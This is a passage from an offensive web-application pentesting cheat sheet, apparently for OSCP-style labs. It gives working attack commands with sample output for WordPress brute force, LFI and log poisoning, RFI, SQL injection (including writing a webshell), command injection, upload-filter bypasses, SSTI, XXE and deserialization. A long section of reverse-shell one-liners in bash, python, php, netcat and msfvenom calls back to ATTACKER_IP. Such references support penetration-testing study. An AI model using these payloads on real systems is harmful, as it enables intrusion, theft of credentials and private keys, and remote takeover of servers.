curl http://$IP/config.php
Example Output
curl http://10.10.10.5/.git/HEAD
ref: refs/heads/master
(GIT REPO EXPOSED! Use git-dumper)

curl http://10.10.10.5/.env
DB_PASSWORD=s3cretDBp@ss
APP_KEY=base64:abc123...

Nikto web scanner

Vulnerability scanner — Quick scan for known issues

nikto -h http://$IP
Example Output
+ Server: Apache/2.4.29 (Ubuntu)
+ /: The X-Content-Type-Options header is not set
+ /config.php: PHP Config file found
+ /backup/: Directory indexing found
+ OSVDB-3233: /icons/README: Apache default file found

CMS DETECTION & ENUMERATION

WordPress scan

Plugins, themes, users — WP is full of vuln plugins

wpscan --url http://$IP --enumerate ap,at,u --api-token <token>
Example Output
wpscan output:
[+] WordPress version 5.8 identified
[!] 3 vulnerabilities identified
[+] Plugin: wp-file-manager 6.9
  | [!] CVE-2020-25213 - Unauthenticated RCE
[+] Users found: admin, editor

WordPress user enum

Find usernames — Then brute force wp-login

wpscan --url http://$IP --enumerate u
Example Output
wpscan --url http://10.10.10.5 --enumerate u
[+] admin
 | Found By: Author Posts
[+] editor
 | Found By: Wp Json Api
(Now brute force these usernames)

WordPress brute force

Login brute force — Weak admin passwords

wpscan --url http://$IP --usernames <user> --passwords /usr/share/wordlists/rockyou.txt
Example Output
wpscan --url http://10.10.10.5 --usernames admin --passwords rockyou.txt
[+] Performing password attack on Xmlrpc against 1 user(s)
[SUCCESS] - admin / sunshine1
(Login at /wp-admin with admin:sunshine1)

Joomla scan

Joomla enumeration — Version, plugins, vulns

joomscan -u http://$IP
Example Output
[+] Joomla 3.7.0
[++] Joomla 3.7.0 - SQL Injection
    CVE: CVE-2017-8917
    URL: /index.php?option=com_fields&view=fields&layout=modal

Drupal scan

Drupal enumeration — Drupalgeddon exploits

droopescan scan drupal -u http://$IP
Example Output
droopescan scan drupal -u http://10.10.10.5
[+] Version: 7.54
[+] Plugins: php_filter, views
[!] Drupal < 7.58 - Drupalgeddon2 (CVE-2018-7600)
(Unauthenticated RCE if vulnerable)

Check /wp-admin, /administrator, /admin

Manual CMS detection — Find login panels

Browse to common admin paths
Example Output
http://10.10.10.5/wp-admin -> WordPress login
http://10.10.10.5/administrator -> Joomla login
http://10.10.10.5/admin -> Custom admin panel
(Found login page = try defaults, SQLi, brute force)

Check CMS version

Exact version for exploit search — Version-specific exploits

View source for generator meta tag
curl http://$IP/readme.html
curl http://$IP/CHANGELOG.txt
Example Output
View source: <meta name='generator' content='WordPress 5.8'/>
curl http://10.10.10.5/readme.html -> WordPress 5.8
curl http://10.10.10.5/CHANGELOG.txt -> Drupal 7.54
(Exact version for exploit search)

💉 Web Attacks

Exploitation techniques for web application vulnerabilities.


LOCAL FILE INCLUSION (LFI)

Basic LFI test

Path traversal — Confirm LFI exists

http://$IP/page.php?file=../../../etc/passwd
Example Output
http://10.10.10.5/page.php?file=../../../etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin
www-data:x:33:33:www-data:/var/www
admin:x:1000:1000::/home/admin:/bin/bash
(LFI CONFIRMED)

Null byte bypass (old PHP)

PHP < 5.3.4 — Bypass extension append

http://$IP/page.php?file=../../../etc/passwd%00
Example Output
http://10.10.10.5/page.php?file=../../../etc/passwd%00

Code appends .php: include($_GET['file'] . '.php');
Null byte terminates string early in PHP < 5.3.4
Result: reads /etc/passwd instead of /etc/passwd.php

Double encoding

Bypass basic filters — URL encode twice

http://$IP/page.php?file=%252e%252e%252f%252e%252e%252fetc/passwd
Example Output
http://10.10.10.5/page.php?file=%252e%252e%252f%252e%252e%252fetc/passwd

%25 = %, so %252e = %2e = .
Server decodes twice: %252e%252e%252f -> ../ 
Bypasses WAF/filter that checks for ../

PHP wrapper - base64 read

Read PHP source code — See credentials in config

http://$IP/page.php?file=php://filter/convert.base64-encode/resource=config.php
Example Output
http://10.10.10.5/page.php?file=php://filter/convert.base64-encode/resource=config.php

PD9waHAKJGRiX2hvc3QgPSAnbG9jYWxob3N0JzsK...

base64 -d:
<?php
$db_host = 'localhost';
$db_user = 'admin';
$db_pass = 'SuperSecret123';

PHP wrapper - command exec

RCE via php://input — Direct command execution

curl http://$IP/page.php?file=php://input -d '<?php system("id"); ?>'
Example Output
curl http://10.10.10.5/page.php?file=php://input -d '<?php system("id"); ?>'

uid=33(www-data) gid=33(www-data) groups=33(www-data)
(RCE CONFIRMED via php://input)

PHP data wrapper

RCE via data:// — base64 of <?php system($_GET['cmd']);?>

http://$IP/page.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=&cmd=id
Example Output
http://10.10.10.5/page.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=&cmd=id

base64 decodes to: <?php system($_GET['cmd']);?>
Response: uid=33(www-data)
(RCE via data:// wrapper)

Log poisoning (Apache)

Inject PHP into logs, include log — RCE via log file

curl -A '<?php system($_GET["cmd"]); ?>' http://$IP
then: http://$IP/page.php?file=/var/log/apache2/access.log&cmd=id
Example Output
Step 1: curl -A '<?php system($_GET["cmd"]); ?>' http://10.10.10.5
Step 2: http://10.10.10.5/page.php?file=/var/log/apache2/access.log&cmd=id

... uid=33(www-data) gid=33(www-data) ...
(RCE via log poisoning)

Log poisoning (SSH)

Inject PHP via SSH username — Alternative log poisoning

ssh '<?php system($_GET["cmd"]); ?>'@$IP
then include /var/log/auth.log
Example Output
ssh '<?php system($_GET["cmd"]); ?>'@10.10.10.5
Permission denied

But PHP code is now in /var/log/auth.log
http://10.10.10.5/page.php?file=/var/log/auth.log&cmd=id
uid=33(www-data)
(RCE via SSH log poisoning)

Read SSH keys

Steal private keys — SSH access

http://$IP/page.php?file=../../../home/<user>/.ssh/id_rsa
Example Output
http://10.10.10.5/page.php?file=../../../home/admin/.ssh/id_rsa

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA...
-----END RSA PRIVATE KEY-----

Save to file, chmod 600, ssh -i id_rsa admin@target
(LFI to SSH key = instant foothold)

Read /etc/shadow (if root)

Password hashes — Crack with hashcat/john

http://$IP/page.php?file=../../../etc/shadow
Example Output
http://10.10.10.5/page.php?file=../../../etc/shadow

root:$6$abc123$LongHashHere:19000:0:99999:7:::
admin:$6$def456$AnotherHash:19000:0:99999:7:::
(Copy hashes, crack with hashcat -m 1800)

Common files to read

Sensitive file targets — Creds, users, config

/etc/passwd
/etc/shadow
/etc/hosts
/home/<user>/.bash_history
/proc/self/environ
/var/www/html/config.php
/var/www/html/.htpasswd
Example Output
/etc/passwd -> usernames
/etc/shadow -> password hashes (if readable)
/home/user/.ssh/id_rsa -> SSH private key
/var/www/html/config.php -> DB credentials
/proc/self/environ -> environment variables with secrets
~/.bash_history -> command history with passwords

Windows LFI paths

Windows file targets — Windows path format

..\..\..\windows\system32\drivers\etc\hosts
..\..\..\windows\win.ini
..\..\..\inetpub\wwwroot\web.config
Example Output
..\..\..\windows\system32\drivers\etc\hosts
 -> 127.0.0.1 localhost
..\..\..\inetpub\wwwroot\web.config
 -> <connectionStrings>Password=DBp@ss</connectionStrings>
..\..\..\windows\win.ini
 -> [fonts] (confirms LFI on Windows)

REMOTE FILE INCLUSION (RFI)

Check if RFI is possible

See if external URL loads — allow_url_include must be ON

http://$IP/page.php?file=http://ATTACKER_IP/test.txt
Example Output
http://10.10.10.5/page.php?file=http://ATTACKER_IP/test.txt

On attacker HTTP server:
10.10.10.5 - - 'GET /test.txt HTTP/1.0' 200 -
(Target fetched your file = RFI works)

RFI with PHP reverse shell

Host a PHP reverse shell on your machine — python3 -m http.server 80 first

http://$IP/page.php?file=http://ATTACKER_IP/rev.php
Example Output
Host rev.php on attacker:
python3 -m http.server 80

http://10.10.10.5/page.php?file=http://ATTACKER_IP/rev.php

nc -nlvp 443:
connect to [ATTACKER] from [10.10.10.5]
$ whoami
www-data

RFI with SMB share

Host via SMB (no http needed) — impacket-smbserver share .

http://$IP/page.php?file=\\ATTACKER_IP\share\rev.php
Example Output
On attacker:
impacket-smbserver share . -smb2support

http://10.10.10.5/page.php?file=\\ATTACKER_IP\share\rev.php

nc -nlvp 443:
$ whoami
www-data
(Bypasses allow_url_fopen restrictions on some configs)

SQL INJECTION

Test for SQLi

Try in every input field — Look for errors or behavior change

' OR 1=1-- -
" OR 1=1-- -
' OR '1'='1
1' ORDER BY 1-- -
Example Output
Input: ' OR 1=1-- -

Response shows ALL users instead of one
OR: Error: You have an error in your SQL syntax near '''
OR: Page content changes between ' OR 1=1-- - and ' OR 1=2-- -
(SQLi CONFIRMED)

LAB ONLY - SQLMap automated

NOT ALLOWED ON OFFSEC EXAMS. Automated SQLi — Enumerate databases

sqlmap -u 'http://$IP/page.php?id=1' --batch --dbs
Example Output
sqlmap -u 'http://10.10.10.5/page.php?id=1' --batch --dbs
[INFO] the back-end DBMS is MySQL
available databases [3]:
[*] information_schema
[*] webapp
[*] mysql
(NOT ALLOWED ON OFFSEC EXAMS)

LAB ONLY - SQLMap with POST data

NOT ALLOWED ON OFFSEC EXAMS. POST parameter injection — Login forms

sqlmap -u 'http://$IP/login.php' --data='user=admin&pass=test' --batch --dbs
Example Output
sqlmap -u 'http://10.10.10.5/login' --data='user=a&pass=b' --batch
[INFO] Parameter 'user' is vulnerable
Type: UNION query
(NOT ALLOWED ON OFFSEC EXAMS)

LAB ONLY - SQLMap dump creds

NOT ALLOWED ON OFFSEC EXAMS. Dump user table — Usernames and hashes

sqlmap -u 'http://$IP/page.php?id=1' -D <db> -T users --dump
Example Output
sqlmap -D webapp -T users --dump
+-------+----------+
| admin | P@ssw0rd |
| john  | welcome1 |
(NOT ALLOWED ON OFFSEC EXAMS)

LAB ONLY - SQLMap OS shell

NOT ALLOWED ON OFFSEC EXAMS. Get shell via SQLi — Direct RCE

sqlmap -u 'http://$IP/page.php?id=1' --os-shell
Example Output
sqlmap --os-shell
os-shell> whoami
www-data
os-shell> id
uid=33(www-data)
(NOT ALLOWED ON OFFSEC EXAMS)

UNION based manual

Manual UNION injection — Identify column count first with ORDER BY

' UNION SELECT 1,2,3-- -
' UNION SELECT user(),database(),version()-- -
Example Output
' UNION SELECT 1,2,3-- -
Page shows '2' and '3' in output

' UNION SELECT 1,user(),database()-- -
Shows: root@localhost and webapp
(Manual injection = exam legal)

Read files via SQLi

Read files through injection — LFI via database

' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3-- -
Example Output
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3-- -

root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www
(Read any file the DB user can access)

Write webshell via SQLi

Write PHP shell — RCE if writable web root

' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php'-- -
Example Output
' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/cmd.php'-- -

Error? Try: INTO DUMPFILE instead of OUTFILE

curl http://10.10.10.5/cmd.php?cmd=id
uid=33(www-data)
(Requires FILE privilege and writable web root)

Error-based injection

Force errors to leak data — When UNION doesn't work

' AND extractvalue(1,concat(0x7e,version()))-- -
Example Output
' AND extractvalue(1,concat(0x7e,version()))-- -

Error: XPATH syntax error: '~5.7.29-0ubuntu0.18.04.1'
(Version leaked through error message)

Blind boolean SQLi

Different response = injectable — Slower but works when no output

' AND 1=1-- - (true)
' AND 1=2-- - (false)
Example Output
' AND 1=1-- -  -> Page loads normally (TRUE)
' AND 1=2-- -  -> Page is blank/different (FALSE)

' AND SUBSTRING(user(),1,1)='r'-- -  -> TRUE
' AND SUBSTRING(user(),1,1)='a'-- -  -> FALSE
(User starts with 'r' -> root)

Time-based blind SQLi

If page delays = injectable — MySQL vs MSSQL syntax

' AND SLEEP(5)-- -
'; WAITFOR DELAY '0:0:5'-- -
Example Output
' AND SLEEP(5)-- -

Page takes 5 seconds to load = INJECTABLE

' AND IF(SUBSTRING(database(),1,1)='w',SLEEP(5),0)-- -
5 second delay -> first char is 'w'
(Slow but works when no visible output)

Determine column count

Keep increasing until you get an error. Last working number = column count — Required before UNION injection

' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
(increment until error)
Example Output
' ORDER BY 1-- -  -> OK
' ORDER BY 2-- -  -> OK
' ORDER BY 3-- -  -> OK
' ORDER BY 4-- -  -> ERROR
(3 columns in the query)

Find displayed columns

See which numbers appear on page. Those columns show output. — Inject queries into visible columns

' UNION SELECT 1,2,3,4-- -
(match column count from ORDER BY)
Example Output
' UNION SELECT 1,2,3-- -

Page shows: 2 and 3 in the output
(Inject payloads into columns 2 and 3)

Extract database version

MySQL: version() MSSQL: @@version PostgreSQL: version() — Confirms DB type

' UNION SELECT 1,version(),3-- -
' UNION SELECT 1,@@version,3-- -
Example Output
' UNION SELECT 1,version(),3-- -

5.7.29-0ubuntu0.18.04.1
(MySQL 5.7.29 on Ubuntu)

Extract current database

MySQL: database() MSSQL: db_name() — Know which DB you're in

' UNION SELECT 1,database(),3-- -
' UNION SELECT 1,db_name(),3-- -
Example Output
' UNION SELECT 1,database(),3-- -

Output: webapp
(Now enumerate tables in 'webapp' database)

Extract current user

Check privilege level — DBA = more options

' UNION SELECT 1,user(),3-- -
' UNION SELECT 1,current_user,3-- -
Example Output
' UNION SELECT 1,user(),3-- -

Output: root@localhost
(Root DB user = FILE privileges likely available)

List all databases (MySQL)

All databases in one query — Find interesting databases

' UNION SELECT 1,GROUP_CONCAT(schema_name),3 FROM information_schema.schemata-- -
Example Output
' UNION SELECT 1,GROUP_CONCAT(schema_name),3 FROM information_schema.schemata-- -

information_schema,mysql,performance_schema,webapp,secret_db

List tables in database

All tables from target DB — Look for users/credentials tables

' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema='<dbname>'-- -
Example Output
' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema='webapp'-- -

users,posts,settings,sessions

List columns in table

Column names from target table — Find username/password columns

' UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='users'-- -
Example Output
' UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='users'-- -

Output: id,username,password,email,role
(Now dump username and password columns)

Dump table data

0x3a is colon separator — Extract credentials

' UNION SELECT 1,GROUP_CONCAT(username,0x3a,password),3 FROM users-- -
Example Output
' UNION SELECT 1,GROUP_CONCAT(username,0x3a,password),3 FROM users-- -

admin:$2y$10$abc123...,john:$2y$10$def456...,editor:password123
(Crack bcrypt hashes or use plaintext creds)

MSSQL list databases

MSSQL uses different schema — MSSQL syntax

' UNION SELECT 1,name,3 FROM master..sysdatabases-- -
Example Output
' UNION SELECT 1,name,3 FROM master..sysdatabases-- -

master
tempdb
model
msdb
webapp
HRDatabase

MSSQL list tables

xtype U = user tables — MSSQL syntax

' UNION SELECT 1,name,3 FROM <dbname>..sysobjects WHERE xtype='U'-- -
Example Output
' UNION SELECT 1,name,3 FROM webapp..sysobjects WHERE xtype='U'-- -

users
employees
config
sessions

MSSQL list columns

Columns from target table — MSSQL syntax

' UNION SELECT 1,name,3 FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')-- -
Example Output
' UNION SELECT 1,name,3 FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')-- -

id
username
password_hash
email

PostgreSQL list databases

PostgreSQL syntax — Different from MySQL

' UNION SELECT 1,datname,3 FROM pg_database-- -
Example Output
' UNION SELECT 1,datname,3 FROM pg_database-- -

postgres
template0
template1
webapp

PostgreSQL list tables

Public schema tables — PostgreSQL syntax

' UNION SELECT 1,tablename,3 FROM pg_tables WHERE schemaname='public'-- -
Example Output
' UNION SELECT 1,tablename,3 FROM pg_tables WHERE schemaname='public'-- -

users
posts
config

Stacked queries (MSSQL)

MSSQL supports stacked queries — Direct RCE if sa user

'; EXEC xp_cmdshell 'whoami'-- -
Example Output
'; EXEC xp_cmdshell 'whoami'-- -

nt authority\system
(RCE as SYSTEM via MSSQL stacked queries)

Second-order SQLi

Payload stored, executed later — When direct injection fails

Register user: admin'-- -
Then login or trigger profile update
Example Output
Register username: admin'-- -
Login with that account
Profile page shows: Welcome, admin
(Stored payload executed on profile load, bypassed auth)

COMMAND INJECTION

Basic command injection

Try all separators in every input — Ping fields, search boxes, etc

127.0.0.1; whoami
127.0.0.1 | whoami
127.0.0.1 && whoami
127.0.0.1 || whoami
`whoami`
$(whoami)
Example Output
Input: 127.0.0.1; whoami

PING 127.0.0.1: 64 bytes from 127.0.0.1
www-data
(Command injection CONFIRMED)

Newline injection

URL encoded newline — Bypass some filters

127.0.0.1%0awhoami
Example Output
Input: 127.0.0.1%0awhoami

PING 127.0.0.1: 64 bytes...
www-data
(%0a = newline, starts new command)

Reverse shell from injection

Get a shell — URL encode special chars

127.0.0.1; bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'
Example Output
Input: ;bash -c 'bash -i >& /dev/tcp/10.10.14.2/443 0>&1'

Attacker nc -nlvp 443:
connect to [10.10.14.2] from [10.10.10.5]
bash-4.4$ whoami
www-data

Bypass filters

Quote insertion, wildcards — When basic commands are blocked

w'h'oami
wh$@oami
/bin/w?oami
cat /et?/pas?wd
Example Output
whoami blocked? Try:
w'h'oami -> www-data
/bin/w?oami -> www-data
who$@ami -> www-data
cat /etc/passwd blocked? Try:
cat /et?/pas?wd -> works
tac /etc/passwd -> works (reverse cat)

FILE UPLOAD ATTACKS

Upload PHP reverse shell

Basic upload attempt — Check if .php is allowed

Upload pentestmonkey php-reverse-shell.php
Example Output
Upload pentestmonkey shell as shell.php
Response: 'File uploaded successfully'
Browse to: http://10.10.10.5/uploads/shell.php

nc -nlvp 443:
connect to [ATTACKER] from [10.10.10.5]
$ whoami
www-data

Bypass extension filter

Try alternative extensions — Different PHP handlers

shell.php5
shell.phtml
shell.phar
shell.phps
shell.php.jpg
shell.PHP
shell.php%00.jpg
Example Output
shell.php    -> 'File type not allowed'
shell.php5   -> 'File type not allowed'
shell.phtml  -> 'File uploaded successfully!'
(phtml bypassed the filter)

Bypass content-type check

Intercept and modify — Server checks MIME type only

Change Content-Type header to image/jpeg in Burp
Example Output
In Burp, change:
Content-Type: application/x-php
To:
Content-Type: image/jpeg

Server response: 'File uploaded successfully'
(Server only checked MIME type, not actual content)

Double extension

Confuse extension parsing — Some servers check last/first ext

shell.php.png
shell.jpg.php
Example Output
shell.php.png -> 'Uploaded successfully'
But Apache processes .php first
Browse: http://10.10.10.5/uploads/shell.php.png
$ whoami
www-data

Magic bytes bypass

Bypass magic byte checks — File starts as valid image

Add GIF89a; to start of PHP file
Or embed PHP in image EXIF
Example Output
Add GIF89a; at top of PHP shell:
GIF89a;
<?php system($_GET['cmd']); ?>

Upload as shell.gif.php or shell.php
Server sees GIF magic bytes, allows upload

Upload .htaccess

Change how server handles files — Make .jpg execute as PHP

Upload .htaccess:
AddType application/x-httpd-php .jpg
Then upload shell.jpg
Example Output
Upload .htaccess containing:
AddType application/x-httpd-php .jpg

Then upload shell.jpg (with PHP code inside)
Browse: http://10.10.10.5/uploads/shell.jpg
$ whoami
www-data
(.jpg now executes as PHP)

Upload web.config (IIS)

IIS equivalent of .htaccess — ASP/ASPX execution

Upload web.config with handler for .jpg as ASP
Example Output
Upload web.config:
<handlers>
  <add name='aspnet' path='*.jpg' verb='*' type='System.Web.UI.PageHandlerFactory'/>
</handlers>

Upload shell.jpg with ASP code
Browse to execute
(IIS treats .jpg as ASP)

Find upload location

Where did the file go? — Need path to trigger execution

Check response, view source, or gobuster
Example Output
Response: 'File uploaded to /uploads/shell.php'
OR: View source -> <img src='/uploads/shell.php'>
OR: gobuster dir -u http://10.10.10.5 -w wordlist.txt
  /uploads/ (Status: 301)
(Need the path to trigger your shell)

Trigger uploaded shell

Execute your uploaded file — Start netcat listener first

curl http://$IP/uploads/shell.php
or browse to it
Example Output
nc -nlvp 443
curl http://10.10.10.5/uploads/shell.php

Listening on 0.0.0.0 443
Connection received from 10.10.10.5
$ whoami
www-data
(Reverse shell caught!)

AUTHENTICATION ATTACKS

Default credentials

Try known defaults first — Always the first thing to try

admin:admin, admin:password, root:root
Google: '<application> default credentials'
Example Output
admin:admin -> 'Login successful'
OR: admin:password -> 'Welcome, Administrator'
(Always try these FIRST before brute forcing)

Brute force login

HTTP form brute force — Get exact form fields from Burp

hydra -l admin -P /usr/share/wordlists/rockyou.txt $IP http-post-form '/login:username=^USER^&password=^PASS^:F=Invalid'
Example Output
hydra -l admin -P rockyou.txt 10.10.10.5 pop3
[110][pop3] login: admin password: welcome1
(Crack mail credentials)

Password spray

One password, many users — Avoids lockouts

crackmapexec smb $IP -u users.txt -p 'Password1' --continue-on-success
Example Output
crackmapexec smb 10.10.10.5 -u users.txt -p 'Password1'
[-] corp\admin:Password1
[-] corp\john:Password1
[+] corp\jane:Password1
(One hit across many users)

Session hijacking

JWT, base64 encoded tokens — Weak session management

Check cookies for session tokens, try to decode/forge
Example Output
Cookie: session=eyJhZG1pbiI6ZmFsc2V9
base64 decode: {"admin":false}
Change to: {"admin":true}
base64 encode: eyJhZG1pbiI6dHJ1ZX0=
Set cookie and refresh -> Admin access!

Registration / password reset

Create test@test.com — Sometimes leads to admin access

Register a new account, look for IDOR or priv escalation
Example Output
Register: testuser@test.com
Login -> see profile page
Change URL: /profile?id=1 (was id=5)
Now viewing admin's profile = IDOR
OR: Reset admin password via manipulated token

SQL injection on login

Bypass authentication — Classic SQLi login bypass

admin' OR 1=1-- -
admin'-- -
Example Output
Username: admin'-- -
Password: anything

Result: Logged in as admin
(Authentication bypassed via SQLi)

SERVER-SIDE TEMPLATE INJECTION (SSTI)

Test for SSTI

If 49 appears = SSTI exists — Try in every input field

{{7*7}}
${7*7}
#{7*7}
<%= 7*7 %>
Example Output
Input: {{7*7}}

Page displays: 49
(SSTI CONFIRMED - template engine is executing code)

{{7*'7'}} = 7777777 -> Jinja2
{{7*'7'}} = 49 -> Twig

Identify template engine

Different engines, different payloads — Guides your exploit

{{7*'7'}} -> 7777777 = Jinja2
{{7*'7'}} -> 49 = Twig
Example Output
{{7*7}} = 49 on page
{{7*'7'}} = 7777777 -> Jinja2 (Python)
{{7*'7'}} = 49 -> Twig (PHP)
${7*7} = 49 -> Freemarker (Java)
<%= 7*7 %> = 49 -> ERB (Ruby)

Jinja2 RCE (Python)

Python/Flask apps — Jinja2 is very common

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Example Output
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Output: uid=33(www-data) gid=33(www-data)
(RCE via Jinja2 SSTI)

Twig RCE (PHP)

PHP/Symfony apps — Twig template injection

{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}
Example Output
{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}

Output: uid=33(www-data) gid=33(www-data)
(RCE via Twig SSTI in PHP/Symfony apps)

XML EXTERNAL ENTITY (XXE)

Test for XXE

Submit in XML inputs — APIs, file uploads, SOAP

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
Example Output
Submit XML:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>

Response includes:
root:x:0:0:root:/root:/bin/bash
(XXE CONFIRMED - can read files)

XXE to read files

Read local files — LFI via XML parser

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
Example Output
Submit:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<user>&xxe;</user>

Response:
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:...
(File read via XXE)

XXE SSRF

Access internal services — Pivot to internal network

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal-host/">]>
Example Output
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://172.16.1.10:8080/">]>
<root>&xxe;</root>

Response includes internal page content
(Access internal services through XXE)

Blind XXE (out-of-band)

Confirm with HTTP callback — If no output in response

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://ATTACKER_IP:8000/xxe">]>
Example Output
Submit:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://ATTACKER_IP:8000/gotcha">]>

Attacker HTTP server:
10.10.10.5 - - 'GET /gotcha HTTP/1.1' 200 -
(Confirms XXE even with no visible output)

DESERIALIZATION

Identify serialized data

Recognize serialization formats — Each format has different attacks

Look for base64 blobs in cookies/params
Java: rO0AB (base64), AC ED 00 05 (hex)
PHP: O:4:"User":2:{...}
Python: (pickle)
Example Output
Cookie: session=rO0ABXNyABFq... (Java - starts with rO0AB)
Cookie: session=Tzo0OiJVc2VyIjoyOntz... (PHP - starts with O:4:)
Cookie: session=gASVKAAAA... (Python pickle - starts with gASV)
(Identify format, then craft exploit)

Java deserialization

Generate Java payload — If Java app with known gadgets

ysoserial.jar CommonsCollections1 'command'
Example Output
java -jar ysoserial.jar CommonsCollections1 'ping ATTACKER_IP' | base64

Replace cookie with payload
Attacker: tcpdump -i tun0 icmp
Got ICMP from 10.10.10.5
(Confirmed RCE, now use reverse shell)

PHP deserialization

Modify serialized cookie — PHP object injection

Craft serialized PHP object with __wakeup or __destruct
Example Output
Original: O:4:"User":2:{s:4:"name";s:5:"admin";s:5:"admin";b:0;}
Modified: O:4:"User":2:{s:4:"name";s:5:"admin";s:5:"admin";b:1;}

Set admin=true via deserialization
(Or exploit __wakeup/__destruct for RCE)

Python pickle

Python unpickle RCE — Flask/Django session cookies

import pickle; pickle.loads(malicious_data)
Example Output
import pickle, os
class Exploit:
    def __reduce__(self):
        return (os.system, ('id',))
pickle.dumps(Exploit())

Send as session cookie
Server unpickles -> executes os.system('id')
(RCE via Python deserialization)

REVERSE SHELLS & PAYLOADS

Start listener

Always set up first — Use port 443 (less likely filtered)

nc -nlvp 443
or: rlwrap nc -nlvp 443
Example Output
nc -nlvp 443
Listening on 0.0.0.0 443

OR better:
rlwrap nc -nlvp 443
(rlwrap gives arrow key history in shell)

Bash reverse shell

Linux/Mac — Most reliable on Linux

bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1
Example Output
bash -i >& /dev/tcp/10.10.14.2/443 0>&1

Attacker:
connect to [10.10.14.2] from [10.10.10.5] 48234
bash-4.4$ whoami
www-data

Python reverse shell

If Python is installed — Very common on Linux

python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Example Output
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.2",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Attacker: $ whoami
www-data

PHP reverse shell (one-liner)

In command injection or upload — Or use pentestmonkey full shell

php -r '$sock=fsockopen("ATTACKER_IP",443);exec("/bin/sh -i <&3 >&3 2>&3");'
Example Output
php -r '$sock=fsockopen("10.10.14.2",443);exec("/bin/sh -i <&3 >&3 2>&3");'

OR in a web parameter:
cmd=php+-r+'$s=fsockopen("10.10.14.2",443);exec("/bin/sh+-i+<&3+>&3+2>&3");'

Attacker:
$ whoami
www-data
(Inline PHP shell, no file upload needed)

PowerShell reverse shell

Windows targets — Or use Nishang Invoke-PowerShellTcp

powershell -e <base64_payload>
Generate: msfvenom -p cmd/windows/reverse_powershell LHOST=ATTACKER_IP LPORT=443
Example Output
powershell -e JABjAGwAaQBlAG4A...(base64)

Attacker:
connect from 10.10.10.5
PS C:\Users\admin> whoami
corp\admin

nc reverse shell

Netcat — Try both -e and mkfifo versions

nc -e /bin/sh ATTACKER_IP 443
or: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 443 >/tmp/f
Example Output
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 443 >/tmp/f

Attacker:
$ whoami
www-data
(Use this version when nc -e isn't available)

msfvenom payloads

Generate binary payloads — For upload + execute scenarios

Windows: msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f exe -o shell.exe
Linux: msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f elf -o shell.elf
Example Output
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.2 LPORT=443 -f exe -o shell.exe

Payload size: 460 bytes
Saved as: shell.exe

Transfer to target, execute, catch with nc

Upgrade to TTY shell

After getting basic shell — Full interactive shell

python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo; fg
export TERM=xterm
Example Output
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@target:/var/www$ ^Z
[1]+  Stopped
$ stty raw -echo; fg
www-data@target:/var/www$ export TERM=xterm
(Now have full interactive shell with tab complete)

revshells.com

Generate any reverse shell — Bookmark this

https://www.revshells.com/
Example Output
Visit https://www.revshells.com/
Select: Bash -i, Python3, PHP, PowerShell #3
Enter: IP and Port
Copy generated payload
(Auto-generates reverse shells for any language)

Common Applications

Exploitation techniques for well-known applications you'll encounter on engagements. Each app page includes a description of what it is, default credentials, known exploit paths, and links to vulnerability databases for version-specific research.

Browse by category:

Universal vuln research links:

ResourceURL
SearchSploit (local)searchsploit <app> <version>
Exploit-DBexploit-db.com
CVE Detailscvedetails.com
HackTricksbook.hacktricks.wiki
NVD (NIST)nvd.nist.gov
GitHub Advisorygithub.com/advisories

Web Servers & Frameworks

